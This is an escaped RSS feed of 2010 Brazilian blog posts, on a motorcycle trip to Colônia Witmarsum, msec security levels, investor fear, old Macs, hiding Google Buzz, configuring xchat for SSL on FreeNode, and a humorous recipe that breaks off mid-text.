&lt;p&gt;&lt;img src=&quot;http://lh6.ggpht.com/_HnlSJlJumDk/S4GmoPRE-PI/AAAAAAAADYs/12FgjGhBdKE/s800/DSC01118.JPG&quot; title=&quot;Renato e Patrícia na moto indo para a Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A Colônia Witmarsum foi fundada por Colonos Alemães de Santa Catarina, de uma Colônia com o mesmo nome. Vilarejo tranquilo e bonito, bom para comer e relaxar. Como a estrada é dupla até quase lá, é um passeio agradável e rápido.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh5.ggpht.com/_HnlSJlJumDk/S4GmwD37keI/AAAAAAAADYw/VM9BEywAJrQ/s800/DSC01124.JPG&quot; title=&quot;Na estrada de acesso da Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh4.ggpht.com/_HnlSJlJumDk/S4GmyJPORyI/AAAAAAAADY0/RzHuDeyigBE/s800/DSC01126.JPG&quot; title=&quot;Bel refletida no capacete&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Saímos de Curitiba pelas 11:30h e seguimos pela BR 277 em direção à Ponta Grossa. No Recanto dos Papagaios entramos em direção à Palmeira e logo em seguida na estradinha que leva até a Colônia. Lá almoçamos no restaurante Bela Vista uma comida típica alemã.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh6.ggpht.com/_HnlSJlJumDk/S4Gm_ppShSI/AAAAAAAADY4/zqrGUy2Krns/s800/DSC01129.JPG&quot; title=&quot;Restaurante Bela Vista, na Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh3.ggpht.com/_HnlSJlJumDk/S4GnC_4emGI/AAAAAAAADY8/YfJIWCkMI5s/s800/DSC01131.JPG&quot; title=&quot;Saindo do Restaurante Bela Vista, na Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Para a sobremesa andamos mais um pouco e conhecemos a Confeitaria Kliever. Alguns doces depois e uma conversa com outros motociclistas que também são ciclistas, seguimos até o Museu Heimat, que infelizmente estava fechado.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh3.ggpht.com/_HnlSJlJumDk/S4GnGAwpCRI/AAAAAAAADZA/I6jFp9wAVjA/s800/DSC01141.JPG&quot; title=&quot;Bel em frente ao Museu na Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh5.ggpht.com/_HnlSJlJumDk/S4GnJKizkUI/AAAAAAAADZE/y6x4DecH0tc/s800/DSC01142.JPG&quot; title=&quot;Patrícia, Renato e eu, ao lado do museu da Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Voltamos por outro caminho e fomos brindados com o tempo, que foi de sol a maior parte do trajeto. Somente no almoço é que a chuva apareceu e também na volta, com alguns chuviscos. Levamos o Renato e a Patrícia na nossa casa e bebemos uma cerveja gelada, acompanhada com sucos e um bom queijo Brie, que compramos lá na Colônia.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh6.ggpht.com/_HnlSJlJumDk/S4Gn5MogRVI/AAAAAAAADZQ/BykSytQLQR4/s800/DSCN2797.JPG&quot; title=&quot;Moto do Renato. No detalhe o GPS, na ida para a Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://lh5.ggpht.com/_HnlSJlJumDk/S4Gn97EY5NI/AAAAAAAADZU/oZyo3zad5yg/s800/DSCN2822.JPG&quot; title=&quot;Confeiraria Kliever, na Colônia Witmarsum&quot; height=&quot;384&quot; width=&quot;512&quot; alt=&quot;&quot; class=&quot;alignnone&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Recomendo o passeio seja de moto ou de carro: lugar agradável, comida boa e a poucos quilômetros de Curitiba!&lt;/p&gt;
&lt;p&gt;E este fim de semana foi das duas rodas. Domingo, o passeio de moto, e no sábado, &lt;a href=&quot;http://transpirando.com/2010/02/22/barragem-de-piraquara-e-morro-do-canal/&quot;&gt;um ótimo pedal pelo Morro do Canal&lt;/a&gt;!&lt;/p&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/EmpiricalEmpire/~4/kW2Io9I3yag&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Mon, 22 Feb 2010 10:00:39 +0000</pubDate>
</item>
<item>
	<title>Eugeni: More on msec</title>
	<guid>http://dodonov.net/blog/?p=730</guid>
	<link>http://dodonov.net/blog/2010/02/18/more-on-msec/</link>
	<description>&lt;p&gt;As promised in one of the past blog posts, a few more news about msec.&lt;/p&gt;

&lt;p&gt;Since &lt;strong&gt;2009.1&lt;/strong&gt;, msec was supporting an arbitrary number of custom security levels, providing two levels by default: &lt;strong&gt;standard&lt;/strong&gt;, focused on casual desktops, and &lt;strong&gt;secure&lt;/strong&gt;, focused on security-concerned machines. Clearly, this was not covering all the possible use cases, and, while it was possible to create custom security levels for different users needs, few users actually dared to do so.&lt;/p&gt;

&lt;p&gt;Starting with &lt;strong&gt;2010.1&lt;/strong&gt;, msec will provide a larger number of custom, task-oriented security levels. Among such levels, initially are the &lt;strong&gt;netbook&lt;/strong&gt; (focused on low-end machines, running mostly on batteries, with a single local user and no remote accesses); &lt;strong&gt;fileserver&lt;/strong&gt; (focused on a network server, such as SAMBA, NFS, or a database server, where only authenticated users are allowed), and &lt;strong&gt;webserver&lt;/strong&gt; (focused on a web-facing server, attending unauthenticated and unknown users). The idea is to allow users to focus on their specific tasks (e.g., creating a web server, or configuring the netbook), without going too deep into the configuration options.&lt;/p&gt;

&lt;p&gt;The msecgui UI was also improved to support those levels, among with user-created custom levels:&lt;/p&gt;

&lt;div style=&quot;width: 310px;&quot; id=&quot;attachment_731&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://dodonov.net/blog/wp-content/uploads/2010/02/msec_levels.jpg&quot;&gt;&lt;img src=&quot;http://dodonov.net/blog/wp-content/uploads/2010/02/msec_levels-300x233.jpg&quot; title=&quot;msec_levels&quot; height=&quot;233&quot; width=&quot;300&quot; alt=&quot;&quot; class=&quot;size-medium wp-image-731&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Msec levels selection, including the provided levels among with user-created ones&lt;/p&gt;&lt;/div&gt;

&lt;p&gt;Besides those changes, the UI was simplified a bit thanks to a great cooker discussion and comments from Fabrice Facorat (and will be further improved in newer versions), the support for configuring the log retention period was introduced, and a few bugs were fixed.&lt;/p&gt;

&lt;p&gt;More changes are still to be implemented in msec, but I thought that the ones I described in this post are interesting enough to deserve a new msec release.&lt;/p&gt;

&lt;p&gt;Stay tuned for future updates!&lt;/p&gt;</description>
	<pubDate>Thu, 18 Feb 2010 19:24:51 +0000</pubDate>
</item>
<item>
	<title>Epx: [Pecados do investidor] #2: ignorar o poder do medo</title>
	<guid>tag:blogger.com,1999:blog-36718727.post-9063486756166735608</guid>
	<link>http://finance.epx.com.br/2010/02/pecados-do-investidor-2-ignorar-o-poder.html</link>
	<description>&lt;span style=&quot;font-style: italic;&quot;&gt;&quot;Eu tenho medo&quot; &lt;br /&gt;    -- Regina Duarte&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Faz mais ou menos meio ano que fui visitar um túnel ferroviário, junto com minha esposa. Escavado na pedra, 136m em curva, praticamente um ponto turístico da região. Meu plano era percorrê-lo por dentro. Esperei meses pela conjunção de vários fatores: disponibilidade de tempo, dia de sol, avó disposta a cuidar do neto, etc. Fui armado de uma lanterna elétrica safada, mas que me pareceu suficiente, afinal 130 metros parece uma distância minúscula em linha reta; algo como três postes de luz.&lt;br /&gt;&lt;br /&gt;Mas chegando lá, adentrei um pouco e… remanchei. Era muito mais escuro do que eu esperava, não era possível ver nem uma sugestão de &quot;luz no fim do túnel&quot; (literal) enquanto a outra extremidade ia ficando cada vez menor. De repente, todos os medos plausíveis e implausíveis começaram a pipocar: que a lanterninha ia falhar justo no meio do trecho, sem luz visível de qualquer lado; que o trem passaria e faria picadinho da gente; que a montanha desabasse; que o comprimento do túnel era na verdade muito maior.&lt;br /&gt;&lt;br /&gt;Eu podia botar a culpa na esposa. Se ela desse uma força talvez a gente tivesse conseguido. Mas, noutro dia... &lt;br /&gt;&lt;br /&gt;Fui visitar uma ponte ferroviária, sozinho. Tencionava atravessar até o o outro lado. Refuguei de novo! Será possível? Medo de altura, medo do trem passar justo naquela hora, medo de ficar preso entre os dormentes… E mais uma paulada no ego. Por duas vezes, fui num lugar de difícil acesso, desejando muito fazer algo, e simplesmente o medo me impediu!&lt;br /&gt;&lt;br /&gt;O fato é que aquela onda de medo subconsciente, animal, irresistível, tomou conta de nós, e não conseguimos prosseguir por conta disso.  Todas as racionalizações são meros pretextos que arrumamos para massagear o ego, para não passarmos por covardes completos.&lt;br /&gt;&lt;br /&gt;Não devemos subestimar nossos sentimentos, e em particular nossos medos; eles podem assumir o controle quando menos se espera; e podem nos levar a fazer coisas idiotas. E por mais que nos preparemos antes, que desejemos atingir um objetivo, ainda assim falhamos.&lt;br /&gt;&lt;br /&gt;Inúmeros livros e artigos listam os erros e pecados mais comuns dos investidores iniciantes (com a ressalva que tais pecados também são amiúde cometidos por investidores experientes). Todos os inúmeros pecados podem ser condensados em dois sentimentos: MEDO e COBIÇA.&lt;br /&gt;&lt;br /&gt;O medo nos impede de jogar para ganhar, enquanto a cobiça nos faz esquecer de controlar risco. Embora cada pessoa possa ser no geral mais &quot;medrosa&quot; ou mais cobiçosa, infelizmente cada um de nós é capaz de ser dominado por medo ou cobiça alternadamente, e geralmente na hora errada.&lt;br /&gt;&lt;br /&gt;Na minha visão, a cobiça é simplesmente uma espécie particular de medo: o medo de ficar para trás, de ser um otário, de não pular no trem da alegria a tempo. É o medo de passar por medroso.&lt;br /&gt;&lt;br /&gt;Considere o erro clássico do investidor: comprar no topo e vender no fundo. Absolutamente todo investidor já fez isso. Eu já fiz várias vezes. Ninguém escapa. No topo, você fica com o medo cobiçoso de ficar de fora do papel do momento. No fundo, você sai fora e recusa-se a entrar com o mercado em baixa, pois tem medo de perder tudo, e de ser xingado (ou gozado) pela Dona Encrenca.&lt;br /&gt;&lt;br /&gt;Muitas e muitas vezes, o investidor faz isso sabendo perfeitamente que está errando. Mas ele deixou-se dominar pelo medo. E  é assim que o ser humano se comporta. Sempre haverá bolhas e pânicos, porque por mais que se saiba que são erros crassos de investimento, o medo e a cobiça são indomáveis.&lt;br /&gt;&lt;br /&gt;A &quot;psicologia de manada&quot; dos mercados, alternando fases de cobiça com fases de pavor, é universal; mas nós brasileiros temos uma aversão ao risco mais aguda que outras culturas, por fatores que não cabe discutir aqui; o ponto é que esta herança cultural trabalha contra nós. É a síndrome de Regina Duarte. Entre correr riscos para melhorar alguma coisa ou deixar tudo como está, ficamos com a segunda opção.&lt;br /&gt;&lt;br /&gt;E, finalmente, todo mundo é machão na conversa com os amigos… ou escrevendo num blog. Não se pode &quot;ensaiar&quot; o medo; é preciso enfrentar as situações na prática para descobrir seu limite, seja tentando atravessar um túnel ou colocando dinheiro em risco.&lt;br /&gt;&lt;br /&gt;O pior é que atravessar o túnel não vai prepará-lo para atravessar a ponte, pois claustrofobia não é igual a medo de altura. Da mesma forma, acostumar-se com uma determinada operação não vai prepará-lo para a próxima. Descobri isso não faz muito tempo, ao tentar umas travas de baixa em vez de venda coberta. Embora o risco da trava seja limitado, é um risco diferente, e foi o suficiente para me incomodar. Faço travas menores do que o meu lado racional suportaria, para não ficar com medo o tempo todo...&lt;br /&gt;&lt;br /&gt;Um pouco de medo e ansiedade são componentes importantes e úteis da psique. Gente que sempre vai a 12 no truco sem nada na mão, também não dura na Bolsa. É bom e importante sentir medo; só não se pode deixar o medo dominar nossos atos, anestesiando-nos na hora de agir, ou fazendo agir de forma boba.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/36718727-9063486756166735608?l=finance.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Thu, 18 Feb 2010 01:29:12 +0000</pubDate>
</item>
<item>
	<title>Roberto Teixeira: Long story…</title>
	<guid>http://robteix.com/2010/02/16/long-story/</guid>
	<link>http://feedproxy.google.com/~r/RobertoTeixeira/~3/OVLy4LwwFyc/</link>
	<description>&lt;p&gt;4EYZSRZTBEUQ&lt;/p&gt;
&lt;img src=&quot;http://feeds.feedburner.com/~r/Robteix/~4/B07C3VxSSvs&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;
&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/K3JVovZdgv_Lc6x8JgMCTJgGq-M/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/K3JVovZdgv_Lc6x8JgMCTJgGq-M/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/K3JVovZdgv_Lc6x8JgMCTJgGq-M/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/K3JVovZdgv_Lc6x8JgMCTJgGq-M/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/RobertoTeixeira/~4/OVLy4LwwFyc&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Tue, 16 Feb 2010 14:11:24 +0000</pubDate>
</item>
<item>
	<title>Rudá: Minha pequena história com Apple &amp; Macintoshes</title>
	<guid>http://ruda.livejournal.com/139565.html</guid>
	<link>http://ruda.livejournal.com/139565.html</link>
	<description>&lt;em&gt;Continuando a série anterior sobre máquinas que tive, vou seguir para os anos 2000 e o presente. Vou pular as máquinas de 8 bits para as de 32 bits, com recursos  computacionais e recreativos bem mais interessantes.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Macintosh LC II&lt;/strong&gt;&lt;br /&gt;&lt;img src=&quot;http://lowendmac.com/lc/art/lc-with-12-inch-color-224.jpg&quot; align=&quot;right&quot; /&gt;Meu primeiro Mac foi um Macintosh LC II, uma desktop com processador Motorola m68k e 16MB de RAM. Essa máquina eu ganhei (1999/2000) como doação (usada) e apresentava um defeito: ela entrava em bootstrap mas o disco não funcionava. Depois de umas dicas do Carlos &quot;Perigote&quot;, abrimos o HD e fizemos o disco iniciar com um pequeno “empurrão”. Esse desktop funcionou relativamente bem por um tempo com o Mac OS 8, inclusive rede ethernet e pilha TCP. O nerd factor dessa máquina foi poder &lt;a href=&quot;http://www.faqs.org/docs/Linux-mini/BogoMips.html&quot;&gt;bootar o Linux com o intuito de calcular o BogoMips&lt;/a&gt;, com o resultado de 3.69. Mais informações em &lt;a href=&quot;http://lowendmac.com/lc/macintosh-lc-ii.html&quot;&gt;http://lowendmac.com/lc/macintosh-lc-ii.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;iMac 266&lt;/strong&gt;&lt;br /&gt;&lt;img src=&quot;http://lowendmac.com/imacs/imac5clr.jpg&quot; align=&quot;right&quot; /&gt;Comprei um iMac (usado) em 2001, era um daqueles com “design revolucionário”, de cor tangerina. Equipava um saudoso PowerPC G3 @ 266 MHz e Mac OS 8, que depois subi pra versão 9. Foi dai que conheci o iTunes e seu bug pra lá de interessante: eventualmente o sistema travava e mesmo assim o iTunes continuava a tocar MP3, nitidamente o tocador do iTunes vivia em uma thread especial do Mac OS :). Com essa máquina eu pude instalar e conhecer o Mac OS X, aquele em que as listras na interface eram a nova vanguarda. Um dia ele morreu por conta da interface analógica (aquela que controlava o monitor) e vendi para se transformar em um roteador para o Miura.&lt;br /&gt;&lt;a href=&quot;http://lowendmac.com/imacs/rev-c-imac-g3-266-mhz.html&quot;&gt;http://lowendmac.com/imacs/rev-c-imac-g3-266-mhz.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;12&quot; iBook G3/500 (Dual USB)&lt;/strong&gt;&lt;br /&gt;&lt;img src=&quot;http://lowendmac.com/pb2/newibook.jpg&quot; align=&quot;right&quot; /&gt;O meu iBook (2004) foi mais uma máquina que tive e que precisou ser antes ressuscitada das cinzas para que pudesse usar; kudos mais uma vez para o meu Woz local, o &lt;em&gt;Perigote&lt;/em&gt;, que conseguiu refazer parte da placa do note, que algum “técnico” cometeu o crime de danificar. Não foi o meu primeiro notebook, pois tive um Toshiba Libretto antes, mas me diverti muito com ele, por poder levá-lo comigo aonde quisesse. Equipado com um Power PC G3 @ 500 Mhz e 256MB de RAM (depois 320 de RAM). Passou a maior parte do tempo rodando o Mac OS X Panther. O &lt;a href=&quot;http://rudix.org/&quot;&gt;Rudix&lt;/a&gt; surgiu neste notebook, na qual guardo muitas saudades e respeito (RIP PowerPC G3).&lt;br /&gt;&lt;a href=&quot;http://lowendmac.com/pb2/12in-ibook-g3-500-mhz.html&quot;&gt;http://lowendmac.com/pb2/12in-ibook-g3-500-mhz.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Apple MacBook Core Duo 1.83&lt;/strong&gt;&lt;br /&gt;&lt;img src=&quot;http://www.everymac.com/images/cpu_pictures/apple_macbook_white.jpg&quot; align=&quot;right&quot; /&gt;Em Dezembro de 2006 eu pude comprar o meu primeiro Macintosh, um MacBook todo branco e com o novo processador da Intel, o Core Duo @ 1.83 GHz, que inclusive ainda é o meu notebook e desktop. Fiz alguns upgrades nele, tal como botar 2GB de RAM e troquei o HD original de 60GB por um de 160GB; esse notebook tem um ótimo desempenho para as coisas que faço (basicamente desenvolvimento, música e fotos). Passei por algumas versões de Mac OS X: Tiger, Leopard e agora Snow Leopard, e nesse embalo o Rudix continua sendo desenvolvido nesse bichinho. Por ser um Core Duo, a idade já cai em cima dele, por conta de algumas limitações que me forçam o upgrade (o Snow Leopard também reforça isso) para uma máquina de 64 bits e que suporte novas tecnologias tipo a OpenCL, com uma boa placa de vídeo.&lt;br /&gt;&lt;a href=&quot;http://www.everymac.com/systems/apple/macbook/stats/macbook_1.83.html&quot;&gt;http://www.everymac.com/systems/apple/macbook/stats/macbook_1.83.html&lt;/a&gt;</description>
	<pubDate>Mon, 15 Feb 2010 19:06:07 +0000</pubDate>
</item>
<item>
	<title>FZero: Fazendo o Buzz incomodar menos</title>
	<guid>http://grosserias.blog.br/?p=295</guid>
	<link>http://grosserias.blog.br/2010/02/13/fazendo-o-buzz-incomodar-menos/</link>
	<description>&lt;p&gt;Ah o Google! Eles pensam em tudo, não é mesmo? Quer dizer, quase tudo… Aparentemente eles lançaram o Buzz com muita pressa e acabaram criando um monstro. O negócio entope a sua inbox, tem vários problemas relativos a privacidade (a ponto de um &lt;a href=&quot;http://gmailblog.blogspot.com/2010/02/millions-of-buzz-users-and-improvements.html&quot;&gt;fix ter sido feito às pressas&lt;/a&gt; e lançado dois dias depois) e, como bem disse o &lt;a href=&quot;http://twitter.com/crisdias&quot;&gt;@crisdias&lt;/a&gt;, é mais uma coisa mostrando um número de coisas não-lidas na sua tela.&lt;/p&gt;

&lt;p&gt;O serviço Loja de Grosserias de utilidade pública conseguiu uma solução simples para esse último problema. Acompanhe o passo-a-passo:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/02/buzz1.png&quot; title=&quot;Buzz 1&quot; height=&quot;172&quot; width=&quot;174&quot; alt=&quot;Buzz 1&quot; class=&quot;alignleft size-full wp-image-296&quot; /&gt; O Buzz está ali, todo pimpão no seu Gmail. O que você faz? &lt;br clear=&quot;all&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/02/buzz2.png&quot; title=&quot;Buzz 2&quot; height=&quot;211&quot; width=&quot;172&quot; alt=&quot;Buzz 2&quot; class=&quot;alignleft size-full wp-image-297&quot; /&gt; Pega ele e arrasta para aquela parte dos labels escondidos. &lt;br clear=&quot;all&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/02/buzz3.png&quot; title=&quot;Buzz 3&quot; height=&quot;203&quot; width=&quot;169&quot; alt=&quot;Buzz 3&quot; class=&quot;alignleft size-full wp-image-298&quot; /&gt; Solta ele lá. &lt;br clear=&quot;all&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://grosserias.blog.br/wp-content/uploads/2010/02/buzz4.png&quot; title=&quot;Buzz 4&quot; height=&quot;154&quot; width=&quot;175&quot; alt=&quot;Buzz 4&quot; class=&quot;alignleft size-full wp-image-299&quot; /&gt; Pronto! &lt;br clear=&quot;all&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Menos uma coisa te enchendo o saco. &lt;strong&gt;Bônus:&lt;/strong&gt; para fazer com que os emails do Buzz não caiam na sua inbox, siga esse &lt;a href=&quot;http://lifehacker.com/5468067/hideremove-google-buzz-updates-from-your-gmail-inbox&quot;&gt;tutorial do LifeHacker&lt;/a&gt;.&lt;/p&gt;</description>
	<pubDate>Sat, 13 Feb 2010 13:30:04 +0000</pubDate>
</item>
<item>
	<title>Olivé: Acessando a FreeNode com SSL no xchat</title>
	<guid>tag:blogger.com,1999:blog-13843503.post-6973241735493942589</guid>
	<link>http://fabioolive.blogspot.com/2010/02/acessando-freenode-com-ssl-no-xchat.html</link>
	<description>Opa, essa é barbada, então resolvi escrever rapidinho a respeito. Agora não preciso mais me sentir envergonhado por causa da minha senha ridícula no nickserv!&lt;br /&gt;&lt;br /&gt;Desde que &lt;a href=&quot;http://blog.freenode.net/2010/01/migration-to-new-ircd/&quot;&gt;migrou para servidores novos&lt;/a&gt;, a FreeNode permite o acesso via SSL na porta 7000. Para não ter que clicar naquela caixinha &quot;accept invalid SSL certificates&quot;, o que seria meio besta, é necessário baixar o &lt;a href=&quot;http://crt.gandi.net/GandiStandardSSLCA.crt&quot;&gt;certificado que eles usam&lt;/a&gt; e instalar em um local em que o xchat o encontre. Cliquem com o botão direito sobre o link, e mandem salvar. Se clicarem direto com o esquerdo, o browser provavelmente vai querer instalar o certificado nele mesmo. :)&lt;br /&gt;&lt;br /&gt;O xchat (ou será que é padrão da openssl?) acessa os certificados que estiverem em /etc/pki/tls/certs/ca-bundle.crt, que é um arquivão contendo vários certificados raiz de autoridades certificadoras. Pelo que vi, os cerificados estão todos concatenados neste arquivo em formato PEM. O certificado da CA usado pela FreeNode veio em formato DER, então é necessário convertê-lo para PEM com o comando abaixo:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 78%;&quot;&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;$ openssl x509 -in GandiStandardSSLCA.crt -inform DER  &amp;gt; GandiStandardSSLCA.pem&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depois disso é só concatenar no /etc/pki/tls/certs/ca-bundle.crt, o que eu fiz com:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 78%;&quot;&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;$ sudo vim /etc/pki/tls/certs/ca-bundle.crt&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;Shift+G (vai pro final do arquivo)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;:r GandiStandardSSLCA.pem&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;:wq&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agora basta abrir a configuração da rede FreeNode no xchat, clicar em &quot;Use SSL for all the servers on this network&quot;. Aproveite pra verificar que a caixinha &quot;Accept invalid SSL certificate&quot; está DESMARCADA. Clique no servidor &quot;irc.freenode.net&quot;, depois em Edit e mude para &quot;irc.freenode.net/7000&quot; para que o xchat conecte na porta 7000.&lt;br /&gt;&lt;br /&gt;Depois disso é Close, desconectar, reconectar e pronto!&lt;br /&gt;&lt;br /&gt;Verifique se nas primeiras mensagens durante a conexão aparecem:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 78%;&quot;&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;* Looking up irc.freenode.net&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;* Connecting to chat.freenode.net (208.71.169.36) port 7000...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;* * Certification info:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Subject:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     OU=Domain Control Validated&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     OU=Gandi Standard Wildcard SSL&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     CN=*.freenode.net&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Issuer:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     C=FR&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     O=GANDI SAS&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*     CN=Gandi Standard SSL CA&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Public key algorithm: rsaEncryption (2048 bits)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Sign algorithm sha1WithRSAEncryption&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Valid since Jan 13 00:00:00 2010 GMT to Jan 13 23:59:59 2011 GMT&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;* * Cipher info:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;*   Version: TLSv1/SSLv3, cipher DHE-RSA-AES256-SHA (256 bits)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pronto, não precisa mais ter vergonha se alguém sniffar em um cyber-café. :)&lt;br /&gt;&lt;br /&gt;Update: o &lt;a href=&quot;http://twitter.com/jczucco&quot;&gt;Zucco&lt;/a&gt; me avisou que ele apenas colocou o arquivo &lt;span style=&quot;font-size: 78%;&quot;&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;GandiStandardSSLCA.pem&lt;/span&gt;&lt;/span&gt; dentro do diretório &lt;span style=&quot;font-size: 85%;&quot;&gt;&lt;span style=&quot;font-family: courier new;&quot;&gt;~/.xchat2/&lt;/span&gt;&lt;/span&gt; e já funcionou. Eu devo ter lido alguma documentação antiga do xchat...&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/13843503-6973241735493942589?l=fabioolive.blogspot.com&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Thu, 11 Feb 2010 18:37:03 +0000</pubDate>
</item>
<item>
	<title>Epx: Receita universal para coisas gostosas e nada saudáveis</title>
	<guid>tag:blogger.com,1999:blog-20994619.post-1325026371367893757</guid>
	<link>http://casagrande.epx.com.br/2010/02/receita-universal-para-coisas-gostosas.html</link>
	<description>Costumamos (eu &amp;amp; patroa) ir na &lt;a href=&quot;http://www.gartenhaus-sc.com.br/&quot;&gt;Garten Haus&lt;/a&gt;, uma floricultura em Joinville, distrito de Pirabeiraba, onde também há cafeteria. Eu fico na cafeteria enquanto ela vai ver plantas e artigos de jardinagem. É um dos poucos lugares que eu conheço em Joinville onde o café é realmente bom.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.epx.com.br/personal_blog/uploaded_images/10022010225-749580.jpg&quot;&gt;&lt;img src=&quot;http://www.epx.com.br/personal_blog/uploaded_images/10022010225-749229.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 300px;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enquanto saboreava uma torta de limão, fiquei pensando: por que coisas calóricas são tão gostosas? Assim, imaginei uma &quot;receita universal&quot; para criar alimentos que agradam a todo mundo.&lt;br /&gt;&lt;br /&gt;RECEITA PARA DOCES&lt;br /&gt;&lt;br /&gt;1) Misture algum componente do ovo (clara, gema ou ambos), açúcar e gordura.&lt;br /&gt;&lt;br /&gt;2) Prove o sabor. Se estiver parecendo muito doce, adicione mais gordura.&lt;br /&gt;&lt;br /&gt;3) Se parecer muito 